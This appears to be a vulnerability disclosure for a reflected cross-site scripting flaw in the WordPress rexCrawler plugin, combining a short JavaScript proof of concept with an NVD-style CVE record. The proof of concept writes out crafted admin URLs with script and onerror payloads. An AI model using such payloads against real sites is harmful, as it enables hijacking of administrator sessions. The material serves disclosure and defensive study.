CVE-2026-2277

// PoC for CVE-2026-2277 // Target: WordPress rexCrawler Plugin <= 1.0.15 // Description: Injecting script into the 'url' parameter of the regex tester page // Attacker constructs the following URL: // http://target-site/wp-admin/admin.php?page=rexcrawler_regex_test&url=<script>alert(document.cookie)</script> // When an authenticated administrator clicks the link, // the script is reflected and executed in the browser context. // Example Payload Construction let payload = "<img src=x onerror=alert('XSS')>"; let targetUrl = "http://vulnerable-site/wp-admin/admin.php?page=rexcrawler_regex_test"; let exploitUrl = targetUrl + "&url=" + encodeURIComponent(payload); console.log("Exploit URL:", exploitUrl);

{"cve": {"id": "CVE-2026-2277", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:57.803", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The rexCrawler plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'url' and 'regex' parameters in the search-pattern tester page in all versions up to, and including, 1.0.15 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin rexCrawler para WordPress es vulnerable a cross-site scripting reflejado a través de los parámetros 'url' y 'regex' en la página del probador de patrones de búsqueda en todas las versiones hasta la 1.0.15, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un administrador para que realice una acción como hacer clic en un enlace. Esto solo afecta a las instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/rexcrawler/tags/1.0.15/admin_regex_test.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rexcrawler/tags/1.0.15/admin_regex_test.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rexcrawler/trunk/admin_regex_test.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rexcrawler/trunk/admin_regex_test.php#L29", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2a17f466-bc4b-4668-8ff9-e8b316e3b5b7?source=cve", "source": "[email protected]"}]}}